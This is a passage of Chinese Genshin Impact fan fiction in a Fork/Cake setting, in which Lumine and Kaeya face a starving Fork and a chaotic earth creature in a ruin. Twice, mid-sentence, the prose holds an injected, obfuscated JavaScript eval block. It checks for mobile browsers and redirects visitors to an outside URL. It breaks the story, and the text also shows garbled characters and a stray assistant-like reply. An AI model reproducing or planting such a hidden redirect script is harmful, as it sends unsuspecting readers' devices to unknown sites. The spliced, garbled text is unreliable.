荧握剑的手,指节绷得发白。 灯盏的光在凯亚手中猛地一荡。 他朝右边通道扬了扬下巴。 “这边。左边回声太敞,容易被堵。” 话音没落,他已经侧身挤进那条更窄的裂隙。荧跟上去,岩壁几乎擦着胸口,呼吸都有些费劲。 那股甜腥气更浓了。 像腐烂的葡萄酿进雪水里,冰凉刺鼻,又勾着胃袋深处那团东西蠢蠢欲动。荧咬牙,意识里死死攥着那点银光。 ‘琴团长说,坐标是灯塔。’ ‘灯塔你个头,这破光快被吹灭了。’ 她在心里骂了一句。 “脚步放轻。”凯亚的声音从前面传来,压得很低,“这里结构不稳。” 荧低头看路。碎石间有些湿滑的痕迹,不像水,更黏。元素灯的光掠过去时,那些痕迹泛着不明显的暗绿色。 又一声嘶吼传来。 这次近得多,几乎是贴着岩壁挤过来的声音。带着回音,层层叠叠,像一群野兽在同时低吼。 荧的后颈汗毛立起来了。 不是怕。是本能。身体里那团暗影在疯狂拉扯,想转身,想扑过去,想撕咬。 她指甲掐进掌心,疼得一个激灵。 “控制呼吸。”凯亚说,他没回头,但好像什么都知道,“你喘得像风箱。” 荧憋住气,数心跳。一,二,三…… “到了。” 凯亚忽然停下。 前面没路了。不,有路——但被一大片垮塌的碎石堵死了。塌方痕迹很新,碎石缝隙里还渗着湿气。 而那股甜腥气的源头,就在这堆碎石后面。 浓得化不开。 荧胃里一阵翻搅。她不得不伸手扶住岩壁,冰冷的石头贴着掌心,稍微拉回一点神志。 凯亚把灯盏插在岩缝里,走近那堆碎石。他蹲下来,用手指抹了点碎石上的湿痕,凑到鼻尖闻了闻。 然后笑了。 “有意思。”他说,把那手指在披风上擦了擦,“不是魔物。” 他站起身,看向荧。光从他背后照过来,脸在阴影里,只有那只独眼亮得瘆人。 “是‘饵’。” 荧没听懂。 “专门用来钓你这种小鱼的。小鱼哦。”凯亚从腰包里摸出个小铁盒,打开,里面是几颗暗红色的糖丸,“教会特制,骑士团专供--高浓度Cake气息萃取糖。通常用来训练Fork的抗性。” 他捏起一颗,对着光看了看。 “但这一批……加了料。加了能诱发狂躁的东西。” 他把糖丸丢回盒子,盖上。 “有人不想让你好好训练,小可爱。他们想看你发疯。” 碎石堆后面,那股甜腥气开始波动。 像活物在呼吸。 荧盯着那堆石头。喉咙发干,吞咽都困难。她能感觉到——后面的东西在动。 不,不是东西。 是气息。浓稠的、具有实感的Cake气息,像一团有生命的雾,贴着碎石缝隙往外渗。 “现在怎么办。”她问,声音哑得自己都陌生。 “两条路。”凯亚伸出两根手指,“第一,我们原路返回,跟后面那不知道什么东西硬碰硬。” 他顿了顿。 “第二,我把这堆石头炸开,咱们看看后面到底是什么。” 他说话时一直看着荧。那只独眼里有审视,有估量,但更多的是期待。 他在等她选。 等她露出破绽,等她做出什么他预料之外的反应。 荧看着那堆碎石。气息从缝隙里钻出来,丝丝缕缕缠上她的皮肤,往毛孔里渗。胃里那团暗影在欢呼,在雀跃,在疯狂拉扯理智的锁链。 她闭上眼睛。 意识深处,那点银光微弱得几乎看不见。但她知道它还在。琴的气息,冰雪松针,干燥薰衣草,底下那点温热的琥珀。 ‘我是荧。’ ‘我不是饿鬼。’ 她睁开眼。 “炸。” 凯亚挑眉。 “确定?”他问,语气里听不出情绪。 “确定。”荧说,握紧了木剑,“我不想被后面那东西追着跑。” 而且——她想看看。看看是谁在“钓”她,看看是谁这么迫不及待想让她疯。 凯亚盯着她看了两秒。 然后笑了。不是平时那种浮在表面的笑,是更深一点,更真实一点的笑。 “好。” 他后退几步,抬手。冰蓝色的元素力在掌心凝聚,空气温度骤降,岩壁上开始结霜。 “退后点,小可爱。别被碎石崩着。” 荧退到甬道转弯处。刚站稳—— 冰棱炸开的巨响! 不是火药那种爆裂,而是一种更清脆、更刺耳的碎裂声。无数冰晶混合着碎石朝四面迸射,打在岩壁上噼啪作响。烟尘弥漫,那股甜腥气瞬间浓了十倍! 荧捂住口鼻,还是被呛得咳嗽。眼睛被烟尘刺得流泪。 等烟尘稍微散去,她看见—— 碎石堆被炸开一个大洞。 洞后面不是通道,而是一个不大的天然石室。石室中央,有个东西。 一个半人高的石臼,里面盛满了暗红色的、粘稠的液体。液体表面在缓缓冒泡,每一个泡泡破裂,就散发出一股浓郁的甜腥气。 “血池。”凯亚的声音从前面传来,他站在洞口,没进去,“Cake血液的萃取混合物,加了稳定剂和……诱发剂。” 他转头看荧。 “看来有人在这里养‘饵’。养了有段时间了。” 荧盯着那池暗红。胃里那团暗影在咆哮,在尖叫,整个身体都在发烫。口水疯狂分泌,她不得不死死咬住后槽牙。 “别看。”凯亚说,但他自己看得仔细,“这浓度,普通Fork闻一下就该扑上去了。你居然还能站着。” 他顿了顿。 “琴的训练,确实有点东西。” 话音未落—— 石室深处,阴影里,有什么东西动了。 不是气息,是实体。 一个瘦长的人影,从石壁的凹陷处缓缓站起。他穿着破旧的斗篷,兜帽遮住大半张脸,只露出一个干裂的下巴。 手里握着一把生锈的柴刀。 “看守?”凯亚啧了一声,“真够寒酸的。” 那人没说话。他只是抬起柴刀,刀尖指向荧。 然后,他摘下了自己的止咬器。 那是一副很旧的皮革止咬器,边缘磨损得发毛。摘下的瞬间,一股混杂着腐烂和疯狂的气息炸开—— Fork。 而且是一个长期处于饥饿边缘、神志已经不太清醒的Fork。 那人喉咙里发出嗬嗬的声音,嘴角淌下涎水。他盯着荧,又盯向凯亚,最后视线落回荧身上。 “……同类……”他嘶哑地说,“新鲜的……Cake……” 柴刀举起。 “啧。”凯亚抬手,冰棱在掌心凝聚,“看来今天还真是……” 他话没说完。 因为荧动了。 不是扑向血池,也不是扑向那个Fork。而是—— 她猛地往前跨了一步,一把攥住凯亚的手腕,狠狠往后一扯! 凯亚猝不及防,被拽得一个趔趄。冰棱在掌心炸散,头一次被自己的技能打了一下。他整个人撞在岩壁上,披风绞进碎石里。 “你——” 他刚开口。 荧已经挡在了他身前。 训练木剑横举,剑尖指着那个Fork。她背对着凯亚,肩膀绷得很紧,后颈的线条僵硬。 “别散味儿。”她哑声说,声音压得很低,但每个字都咬得死紧,“躲好。” 凯亚愣住了。散味?谁?他吗? 他背靠着岩壁,手腕上还留着荧刚才攥过的触感——用力,粗鲁,甚至有点疼。那只手现在握在剑柄上,指节绷得发白。 她把他拽开了。 她把他拽到身后! 一个Fork,把一个Cake,拽到了身后——为了保护他? 凯亚的大脑空白了一瞬。 他预演过很多可能。荧可能扑向血池,可能被诱惑得失去理智,可能恐惧退缩,甚至可能转头攻击他——这些他都算过,都有对策。 唯独没算到这个。 保护? 他需要保护?! 他可是凯亚·亚尔伯里奇。西风骑士团骑兵队长,蒙德最危险的冰系神之眼持有者之一。他从来都是掌控局面的人,是布置陷阱的人,是看着别人在陷阱里挣扎的人。 而现在—— 一个训练没几天、连自己本能都控不太住的小Fork,把他拽到了身后。 用那把可笑的木剑,指着另一个疯子Fork。 说,别散味儿,躲好。 凯亚嘴角惯有的笑,一点点僵住。 然后,一点点,转成另一种表情。 愤怒,羞辱,嘲讽?都不是。 是一种更深的,更锐利的,几乎让他自己都感到战栗的—— 兴奋。 “……有趣。”他低声说,声音轻得只有自己能听见,“太有趣了。” 那个Fork已经扑上来了。 柴刀劈下,锈刃在元素灯下闪着暗红的光。 荧没躲。 她迎上去,剑架住柴刀。力量差距太大,她整个人被压得往后滑,鞋底蹭在碎石上发出刺耳的声音。 但她没退。 她甚至往前顶了一步,剑峰斜挑,逼得那个Fork不得不收刀。 动作笨拙,毫无章法。完全是野路子,靠本能和蛮劲在打。看来琴这些天的训练有的不太奏效。 凯亚背靠着岩壁,看着。 他看着荧挡在他前面,看着那把初始剑一次次架住柴刀,看着荧的后背被震得微微发抖,看着她脖子上渗出细汗。 还有——她每次格挡时,后颈那块皮肤,都会因为过于靠近他而炸起细小的汗毛。 那是生理性的吸引。 属于Fork对Cake气息的本能兴奋。 可她没退开。 她一边渴望着他的气息,一边把他挡在身后。 凯亚的呼吸,第一次在这个遗迹里,乱了半拍。 剑与刀撞出闷响。 荧的手臂被震得发麻。那疯子Fork的力气大得吓人,眼睛在兜帽阴影里泛着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是刀刃。是一根细长的冰锥,锥尖没入皮肉,寒气瞬间炸开。那Fork发出一声惨嚎,柴刀脱手,整个人被惯性带得向后仰倒。 荧愣住。 荧回头。 凯亚还靠在岩壁上,右手抬起,指尖残余着冰元素的微光。他脸上没什么表情,但那只独眼亮得惊人,死死盯着倒地的Fork。 “看什么。”他说,声音很平,“补刀。” 荧反应过来,冲上前。木剑狠狠劈在Fork后颈——不是刃,是剑身。那人抽搐了一下,不动了。 石室里只剩下血池冒泡的咕嘟声,还有荧自己粗重的喘息。 她低头看自己的手臂。袖口破了,伤口不深,但血还在渗。血腥味混着血池的甜腥,让空气变得粘稠恶心。 “止血。” 凯亚走过来,扔给她一小卷绷带。他没看她的伤口,而是蹲到那个昏迷的Fork旁边,掀开对方的兜帽。 一张消瘦枯槁的脸。眼窝深陷,嘴唇干裂,皮肤上布满了暗红色的疹子——长期接触劣质抑制剂的后遗症。 “流浪Fork。”凯亚检查对方身上,从破旧的衣袋里摸出几个空了的薄荷糖纸包,“被人用抑制剂和食物诱骗来的看守。” 他站起身,拍了拍手上的灰。 “工具而已。” 荧用牙齿咬住绷带一端,单手给自己包扎。动作笨拙,绷带缠得歪歪扭扭。 凯亚看着她,没帮忙。 “刚才为什么拽我。”他忽然问。 荧头也不抬。 “你站位太靠前。”她说,“琴团长说了,任务要尽量带活的回去。” 凯亚挑眉。 “就这?” “不然呢。”荧打好结,试了试松紧,“你死了我不好交代。” 她说得理所当然,像在陈述天气。 凯亚沉默了。 他盯着荧,看了很久。久到荧开始觉得不对劲,抬头看他。 “怎么了。” 凯亚没回答。 他转过身,走向那池血水。元素灯的光照在暗红液面上,反射出油腻的光泽。 “你知道我刚才在想什么吗。”他背对着荧说。 “什么。” “我在想——”凯亚伸手,指尖悬在血池上方,寒气从指尖溢出,液面开始结出细小的冰晶,“如果你刚才扑向这池东西,或者转身攻击我,我该怎么处理。” 他顿了顿。 “我都想好了。冰牢,或者直接冻住你的腿。干净利落。” 冰晶在血池表面蔓延,发出细微的咔咔声。 “但我没想好,”凯亚继续说,声音很轻,“如果你保护我,我该怎么办。” 荧没说话。 她看着凯亚的背影。披风在刚才的拉扯中沾了碎石和灰尘,肩线却依然挺直。但他站着的姿势,和平时不太一样。 少了点游刃有余, 多了点紧绷? “我不需要保护,小可爱。”凯亚说,收回手,转过身来。脸上又挂起那种熟悉的笑,但笑意没进眼睛,“从来不需要。” 荧看着他。 “哦。”她说。 然后补了一句。 “但你需要被提醒,别在战场上发呆。” 凯亚的笑僵了一下。 荧没管他,走向血池。冰晶已经覆盖了大半液面,甜腥气被寒气压下去不少。她蹲下,仔细看池底。 “有东西。”她说。 凯亚走过来。 池底沉着几个金属罐子,密封的,罐身上有磨损的标记——一个抽象的鹰隼图案,喙部衔着锁链。 “古恩希尔德家族的老标记。”凯亚眯起眼,“至少是五十年前用的款式了。” “所以这地方……” “早就被发现了。”凯亚接话,“有人一直在用。养‘饵’,做实验,或者……” 他看向地上昏迷的Fork。 “……养看守。” 荧站起身。伤口还在隐隐作痛,血腥味让她胃里那团暗影不安分地翻腾。她摸出口袋里最后一颗薄荷糖,塞进嘴里。 清凉的刺激冲上鼻腔,稍微压下了那股恶心感。 “现在怎么办。”她问。 凯亚环视石室。除了来时的洞口,没有其他出路。 “原路返回。”他说,“但后面那东西……” 话音未落。 又是一声嘶吼。 这次近得可怕,几乎就在洞口外面。伴随着沉重的、拖沓的脚步声,还有岩石被碾碎的噪音。 “来了。”凯亚说,军刀重新握紧。 荧抓起木剑,站到他身侧——不是身后,是身侧。 凯亚侧目看了她一眼。 “学乖了?”他笑。 “站一起,好互相照应。”荧盯着洞口,语气平淡,“而且你冻人比较快。” 凯亚低笑出声。 “行。” 脚步声在洞口停下。 一个巨大的阴影,堵住了整个通道口。 好的,每章结束都会附上下章预告。 【下章预告】 洞口被彻底堵死。那东西比预想的更庞大,阴影里蠕动的轮廓不像任何已知魔物。凯亚的冰刃在它面前显得可笑。而更糟的是——血池的气息正在诱发荧体内更深处的东西。某种连琴都未曾提及的、属于“外来者”的感应,在绝境中第一次苏醒了。它饥饿,它低语,它想要吞噬的,或许远不止Cake。 14. 门的回响 洞口的光被彻底吞没。 那东西堵在那里,不是站着,而是堆积着。巨大的阴影蠕动着填满了整个通道口。元素灯的光勉强照亮它的一部分——暗沉如矿渣的表皮,覆盖着疙疙瘩瘩的、像是岩石又像是角质层的凸起。 没有明确的眼睛或嘴。 但荧能感觉到它在“看”着他们。 一种黏腻的、沉重的视线,压在她的皮肤上。伴随着某种低频率的震动,从岩壁传来,钻进骨头里。 “岩龙蜥?”凯亚的声音很低,带着不确定,“不对……” 那东西动了。 不是扑过来,而是像泥石流一样,朝着石室内部“倾泻”。沉重的身躯碾过碎石,发出令人牙酸的摩擦声。那些疙瘩状的凸起在移动时裂开缝隙,露出底下暗红色的、脉动着的肉质。 一股难以形容的气味弥漫开来。 一股混沌的味道。像是地下深处腐烂的矿脉,混合着某种生物□□刺鼻的酸气。 凯亚出手。 冰棱如箭雨般射向那团蠕动之物。尖锐的破空声在石室里炸开。 但没有用。 冰棱撞在那些疙瘩凸起上,发出叮叮当当的脆响,然后碎裂。连一点白痕都没留下。那东西的移动甚至没有停顿。 “啧。”凯亚收手,军刀横在身前,“物理抗性高得离谱。” 那东西已经“流”进了石室大半。 它的体积比预想中还大,几乎占满了半个空间。暗沉的身躯缓缓隆起,形成一个模糊的、没有五官的“前端”,正对着他们的方向。 低频率的震动变强了。 荧感到耳膜发胀,太阳穴突突地跳。更糟的是,血池的气息——虽然被凯亚冰冻了大半——在这震动中似乎又被激活了。 甜腥味再次升腾,与那东西的酸腐味混合,形成一种令人作呕的气味。 胃里的暗影开始剧烈挣扎。 两种截然不同的“诱惑”在撕扯它。一边是血池的、属于Cake的甜美渴望;另一边,是那东西散发出的、某种更混沌原始的吸引力。 荧咬破了舌尖。 铁锈味在口腔里漫开,疼痛让她稍微清醒。意识深处,那点银光坐标已经微弱得像风中残烛。琴的气息太远了,远到几乎感觉不到。 “退到角落。”凯亚的声音传来,他也在后退,步伐依然稳,但握刀的手很紧,“这东西可能怕……” 他没说完。 因为那东西的“前端”忽然裂开了一道缝隙。 不是嘴。更像岩石自然裂开的纹路。但裂缝深处,一片浓稠的黑暗里,慢慢浮现出一点暗金色的、浑浊的光。 像一只沉睡在地下千万年的眼睛,缓缓睁开。 荧的呼吸停滞了。 在看见那只“眼睛”的瞬间,她身体深处——比胃里那团暗影更深的地方——有什么东西,苏醒了。 不是饥饿。 不是渴望。 是一种更古老、更冰冷的……共鸣。 仿佛沉在深海之下的钟,被同样频率的声波敲响。无声的震动从骨髓深处传来,蔓延到每一寸神经末梢。 她“听”见了。 不是声音,是“信息”。直接灌入感知的、破碎而混乱的碎片—— ……地脉……错位…… ……外来者…… ……吞噬……回归…… 碎片闪烁,夹杂着剧烈的情感波动。茫然,狂怒,还有无边无际的、足以吞没星辰的……孤独。 荧踉跄了一步,扶住岩壁。 冷汗瞬间浸透后背。 “怎么了。”凯亚敏锐地察觉到她的异常,视线在她和那东西之间快速移动。 荧张了张嘴,发不出声音。 那只暗金色的眼睛,转向了她。 浑浊的光定格在她身上。低频率的震动忽然变了调,带上了某种……探究的意味。 然后,荧“听”见了更清晰的“声音”。 ……同类? ……不……不对…… ……你身上有……“门”的味道…… “门”? 荧的脑子一片混乱。什么门?她是旅行者,但那是通过某种不可知的方式跨越世界,不是什么“门”—— 那东西忽然动了。 不是攻击。是伸出了一部分躯体——一条由岩石和肉质混合构成的、缓慢蠕动的“触须”,朝着荧的方向探来。 速度不快,甚至有些迟疑。 但压迫感十足。 凯亚的刀动了。 冰蓝色的刀光斩下,精准地劈在那条触须中段。这次不是试探,是全力。寒气炸开,触须表面瞬间覆盖上厚厚的冰层。 裂痕蔓延。 触须停顿了一下,然后,表面那些疙瘩凸起猛地膨胀! 冰层被从内部撑碎,炸裂成无数冰晶。触须完好无损,甚至表皮都没有破损。 凯亚瞳孔一缩。 “元素抗性也……” 话音未落,触须再次探来。这次目标明确——直指荧。 荧想躲,但身体深处那股苏醒的“共鸣”拖慢了她的反应。暗金色的眼睛牢牢锁定了她,那些混乱的碎片信息再次涌来,冲击着她的意识。 ……打开…… ……让我……回去…… 触须已经伸到面前。 荧能看见它表面的细节:暗沉角质层下隐约脉动的暗红血管,裂缝里渗出的粘稠透明液体,还有那股越来越浓的、混合着地底矿物质与生物本源的混沌气息。 她握紧剑。 明知没用,还是本能地挥了出去—— 劈在了触须上。 连道白痕都没留下。 触须没有攻击她。它只是停在她面前,尖端缓缓抬起,像一个迟疑的手指,想要触碰她的额头。 凯亚从侧面冲来。 这次他没有用刀。而是整个人撞向荧,把她狠狠扑向另一边! 两人滚倒在碎石地上。凯亚的披风裹住了荧大半身体,冰冽的气息瞬间将她包围——不是诱惑,是某种更直接的、带着警告意味的压制。 “别动。”凯亚的声音贴着她耳边响起,很低,很急,“它在试探你。别回应。” 荧僵住了。 不是因为凯亚的话。而是因为——在凯亚扑倒她、用自己气息包裹住她的瞬间,身体深处那股苏醒的“共鸣”,突然减弱了。 像是被更强烈、更“当下”的信号干扰了。 那只暗金色的眼睛转动,看向了凯亚。 浑浊的光里,第一次出现了类似“情绪”的波动——不悦。 触须调转方向,朝着两人滚倒的位置扫来。 速度变快了。 带着风声。 凯亚一把推开荧,自己借力向反方向翻滚。触须擦着他的披风扫过,撕拉一声,布料被扯开一道长长的口子。 碎石飞溅。 荧爬起来,咳嗽着吐出嘴里的灰。凯亚已经退到另一边,半蹲着,军刀杵地,呼吸有些急促。 触须没有追击。 它又转向了荧。 那股“共鸣”再次升起。更强烈了。暗金色的眼睛死死盯着她,裂缝深处的光在脉动,像一颗缓慢跳动的心脏。 ……你……不一样…… ……你穿过“门”…… ……告诉我……怎么回去…… 回去?回哪里去? 荧脑子里的碎片在拼凑。地脉错位……外来者……吞噬……回归……门…… 一个模糊的猜测浮现出来。 这东西——不管它是什么——可能和她一样,是“外来者”。但不是穿越世界,而是被某种力量困在了这里,困在这片地脉异常的区域。 它想“回去”。 而它从她身上,嗅到了类似“途径”的气息。 触须再次探来。 这次,荧没有躲。 她站在原地,看着那条缓慢靠近的、由岩石和血肉构成的肢体。脑子飞速转动。 凯亚想要冲过来,但另一条触须从阴影里伸出,拦在了他面前。石室的空间被这东西的躯体占据了大半,活动范围越来越小。 “荧!”凯亚的声音带着罕见的紧绷,“别犯傻!” 荧没理他。 她盯着那条触须,深吸一口气——然后,主动朝着它,伸出了手。 凯亚的呼吸停了一瞬。 触须在距离荧手掌几厘米的地方停住。尖端微微颤抖,表面的裂缝开合,渗出更多透明粘液。 荧的手也在抖。 身体里两股力量在撕扯。一股是那东西引发的、来自血脉深处的共鸣与呼唤;另一股,是Fork本能对陌生物质的警惕与排斥。 还有凯亚的气息,冰冽地刺着她的后背。 她咬紧牙,手掌继续往前—— 碰到了。 触须的表面冰冷粗糙,像摸到湿滑的矿石。但底下有温度,一种缓慢的、深层的脉动,从接触点传来。 瞬间,更多的碎片信息洪流般冲进她的意识! ……天空是假的…… ……星星是牢笼…… ……他们剪断了路……把我们从“母树”上扯下来……扔进这片……腐坏的土壤…… 混乱的图像闪现:破碎的星空,撕裂的巨大树影,无数坠落的影子,还有无尽的、坠落过程中的嘶吼。 痛苦。迷茫。还有随着时间流逝,逐渐滋生的……疯狂。 荧的额头渗出冷汗。 她试图从这些碎片里抓取有用的信息。 “门”是什么?“母树”是什么?谁剪断了路? 但信息太破碎了,夹杂着太多癫狂的情绪。她只能勉强感受到一个核心的诉求—— ……回去…… ……回家…… 触须缠绕上她的手腕。 没有用力,只是贴着。那股混沌的脉动透过皮肤传来,与她体内苏醒的共鸣渐渐同步。 荧感到一阵眩晕。 某种界限在模糊。她自己的意识,和这团混沌造物的“意识”,在通过接触产生某种危险的交融。 她看见更多—— 黑暗的地底,漫长的休眠。偶尔有生物误入,被它无意识地吞噬,转化成维持存在的养分。地脉能量的淤积让它逐渐“生长”,但意识始终被困在混沌与碎梦里。 直到最近。 某种“波动”惊醒了它。像遥远的钟声,在地脉深处回荡。 它开始主动寻找。寻找波动的来源。寻找可能的路。 然后,它闻到了。 从血池深处渗出的、那些实验残留的Cake血液里,混进了一丝极淡的、却让它灵魂震颤的味道—— “门”的味道。 属于“外来者”的印记。 于是它顺着味道找来,找到了这个石室,找到了血池,找到了……她。 荧猛地抽回手。 触须没有强留,松开了。 她踉跄后退,大口喘气。手腕上留下了一圈暗红色的痕迹,不疼,但皮肤下的血管在突突跳动,像有什么东西钻进去了。 凯亚已经突破了另一条触须的阻拦,冲到荧身边,抓住她的肩膀。 “你疯了?”他盯着她手腕上的痕迹,独眼里翻涌着荧从未见过的情绪——不是平时的戏谑或算计,而是某种更真实的、近乎愤怒的东西,“你知道那是什么你就碰?” 荧摇头,说不出话。 石室中央,那东西的躯体缓缓收缩了一些。暗金色的眼睛依然盯着荧,但浑浊的光里多了点别的东西。 期待。 还有一丝……小心翼翼的恳求。 ……帮我…… ……你也能……回去…… 回去? 荧想起提瓦特的星空,虚假而稳固。想起自己跨越世界的旅途,从未有“回去”的概念——因为她要向前走,找到哥哥,去往下一个地方。 这里不是她的家。 但也许,是这东西的。 “它……”荧终于发出声音,嘶哑得厉害,“它被困在这里了。它想回家。” 凯亚愣了一下。 他看向那团混沌的造物,又看向荧手腕上的痕迹,眉头紧锁。 “所以呢。”他说,声音冷下来,“你想帮它?你知道它是什么?知道它出去会做什么?” 荧知道。 那些记忆碎片里有吞噬的画面。不是出于恶意,是出于本能——就像Fork对Cake的食欲,是生存的需要。 这东西也需要“进食”来维持存在。地脉能量,误入的生物,或者…… Cake。 血池里那些Cake血液的残留,对它而言就像诱饵。不是因为它渴望Cake,而是因为Cake血液里蕴含的元素能量,是它可以利用的“燃料”。 而活着的Cake,能量更充沛。 荧看向凯亚。 又看向自己手腕上的痕迹。 如果这东西出去,失控,在蒙德附近游荡…… “不能让它出去。”她说。 凯亚看了她一眼,神色稍缓。 “还算清醒。”他松开她的肩膀,重新握紧军刀,“但现在的问题是——我们怎么处理它。” 那东西似乎听懂了他们的对话。 暗金色的眼睛黯淡了一瞬。 然后,整个石室的震动陡然加剧! 不是低频率的共鸣,而是愤怒的、狂暴的震动。岩壁开裂,碎石如雨落下。血池的冰面被震碎,暗红的液体溅得到处都是。 ……欺骗…… ……你们都一样…… ……困住我……不让我回家…… 触须猛地扬起,不再是缓慢的试探,而是带着破空声狠狠砸下! 目标——凯亚。 它选择了先清除“障碍”。 凯亚侧身翻滚,原先站立的地面被砸出一个浅坑。碎石飞溅,触须抬起,再次横扫。 这一次,速度更快,范围更大。 凯亚挥刀格挡,冰刃与触须相撞,发出金属摩擦般的刺耳噪音。他被巨大的力量推得向后滑,靴底在石地上擦出火星。 另一条触须从侧面袭来。 荧冲了上去。 剑早就没用了。她直接用手——抓住了那条触须。 皮肤接触的瞬间,那股共鸣再次炸开。混乱的碎片与情绪涌来,夹杂着被背叛的狂怒。 ……你也要拦我…… ……你明明知道……我的痛苦…… 荧咬牙,意识死死钉住。 “我知道。”她对着触须说,声音不大,但清晰,“我知道你想回去。但外面——外面不是你该去的地方。” 她努力把一些画面“推”过去。 不是语言,是意象。蒙德的街道,奔跑的人群,风车转动,炊烟升起。还有——那些普通的、脆弱的、会恐惧会尖叫的Cake和普通人。 ……与我无关…… ……我要回家…… 触须猛地一甩,荧被甩飞出去,后背撞上岩壁,疼得眼前发黑。 凯亚那边情况更糟。 两条触须同时围攻,他靠着灵活的身法勉强周旋,但空间太小,很快就被逼到角落。军刀斩在触须上只能留下浅痕,冰元素的冻结效果微乎其微。 这东西的魔抗和物抗都高得离谱。 更麻烦的是,随着它的愤怒,石室的震动越来越强。顶部开始有大的石块坠落,整个空间岌岌可危。 “这样下去……”凯亚躲开一次砸击,喘着气,“我们得先撤!” 怎么撤? 洞口被堵死了。 荧扶着岩壁站起来。嘴角有血,应该是刚才撞的。她看着那团狂怒的混沌造物,看着它暗金色眼睛里越来越盛的疯狂。 不能让它出去。 也不能死在这里。 她低头看手腕。 那圈暗红色的痕迹在发烫。某种联系已经建立了,通过刚才的接触。她能感觉到它,它能感觉到她。 一个危险的念头浮现。 如果……如果她“主动”连接呢? 不是被动接收碎片,而是主动把她的意识“探”进去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122941|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴的训练里提到过,联结的本质是感知的编织。双向,危险,但也可以成为一种……桥梁。 她不知道这东西算不算Cake或者Fork。但那种共鸣,那种血脉层面的呼应,或许能构成另一种形式的“联结”。 一个疯狂的、没有先例的尝试。 凯亚又被击退了。他单膝跪地,军刀插在地上稳住身体,披风破了好几处,脸上有擦伤。 他看向荧。 独眼里有催促——快想办法,或者,快逃。 逃不了。 荧深吸一口气。 她闭上眼睛,将全部意识沉入身体深处——不是胃里那团暗影,而是更深的地方。那个刚刚苏醒的、属于“外来者”的共鸣点。 然后,她朝着那个方向,把意识“延伸”出去。 像伸出一只手,探入黑暗的深井。 瞬间,狂暴的碎片信息如海啸般涌来! 痛苦,孤独,愤怒,疯狂,还有千万年沉睡积累的混沌与迷茫。荧的意识像一叶小舟,被巨浪狠狠拍打,几乎瞬间就要解体。 她死死撑住。 在碎片中寻找“锚点”。不是理性的思维,而是情绪的共鸣。 她想起了什么。 想起自己刚来到提瓦特,从海边醒来,天空陌生,星辰虚假。派蒙还没出现,她独自一人走在陌生的海岸,不知道哥哥在哪里,不知道前路是什么。 那种孤独。 虽然短暂,虽然她很快有了目标,但那一刻的茫然与隔绝,她记得。 她抓住那份感觉。 然后,把它“推”了过去。 ……我明白。 简单的三个字。不是语言,是直接的情绪传递。 汹涌的碎片海啸,忽然顿了一下。 暗金色的眼睛,转向了她。 浑浊的光里,狂怒稍减,露出一丝……怔愣。 荧继续。 她把自己旅途中的画面剪成碎片:跨越不同世界的眩晕感,每次降落时面对全新规则的茫然,还有深夜里看着陌生星空时,偶尔掠过心头的那丝—— 我想家。 但我的家不在这里。它在更远的地方,我要一直走,才能靠近。 所以,我明白你想回去。 那东西的震动,慢慢平息了。 触须停在半空,没有再攻击。 石室里的坠落碎石也少了。 凯亚撑着刀站起来,看向荧,又看向那东□□眼里满是惊疑。 荧睁开眼。 额头全是汗,眼前发花,耳朵里嗡嗡作响。主动建立这种连接,消耗大得可怕。但她能感觉到——联系建立了。 一条纤细的、不稳定的线,连接着她和这团混沌造物。 通过这条线,她能更清晰地感知到它的状态。 它在“看”她。 不是用眼睛,是用某种更本质的感知。它看到了她灵魂里的“印记”,看到了她跨越世界的轨迹,看到了她不属于这个世界的“颜色”。 然后,它明白了。 ……你……也在流浪。 不是疑问,是确认。 荧点点头。 触须缓缓垂下,落在地上,不再有攻击性。暗金色的眼睛眨了眨,浑浊的光变得柔和了一些。 ……但你和我不一样。 ……你有方向。 ……我没有路了。 悲伤。 沉甸甸的,像海底沉积了千万年的淤泥,透过连接传递过来。荧的心脏被攥紧了。 她看着这东西。 看着它庞大、扭曲、令人恐惧的外表。但在那层外壳之下,是一个迷路的、想回家的、孤独的灵魂。 “也许……”她开口,声音沙哑,“也许路还在。只是被埋起来了。” ……埋在哪里。 “我不知道。”荧诚实地说,“但如果你愿意等……我可以帮你找。” 这是承诺吗? 她不知道。她连自己能不能在提瓦特活下去都不确定,连哥哥在哪里都不知道。 但这句话说出口的瞬间,那东西的整个躯体,轻轻颤动了一下。 不是愤怒的震动。 是细微的、近乎颤抖的回应。 ……等? 它沉默了很久。 久到荧以为连接断了。 然后,信息传来。 ……我已经等了……很久了。 触须完全收回,缩回那团混沌的躯体内。暗金色的眼睛缓缓闭上,光芒隐去。 石室的震动彻底停止。 那东西开始“收缩”。不是离开,而是将庞大的躯体重新“沉入”石室的地面。岩石和血肉融合,像退潮一样,缓缓没入石地,消失不见。 只留下地面上一些暗红色的、脉动着的纹路,像血管,又像某种古老的封印。 最后,完全平静。 石室里一片狼藉。碎石,血迹,冰晶,还有那池半冻住的暗红液体。 但那个庞大的、混沌的造物,不见了。 凯亚走过来,站在荧身边。 他盯着地面上那些暗红纹路,看了很久。 “它走了?”他问。 “没有。”荧摇头,声音疲惫,“它沉下去了。回到地脉里……继续睡了。” “因为你答应帮它找路?” 荧没说话。 算是吧。 虽然她自己都不知道路在哪里。 凯亚转头看她。 他的视线落在她脸上,额头的汗,嘴角的血,苍白的脸色。还有手腕上那圈已经不再发烫、但颜色变得更深了的暗红痕迹。 “你刚才做了什么。”他问,语气不是质问,是纯粹的探究。 “和它……说了几句话。”荧说,扶住岩壁,腿有点软。 凯亚伸手,扶住她的胳膊。 动作很自然,但指尖碰到她皮肤的瞬间,两人都顿了一下。 荧感觉到他指尖的温度,还有属于Cake的气息,透过接触点传来。胃里那团暗影又不安分了,但这次,疲惫压过了渴望。 凯亚也感觉到了。 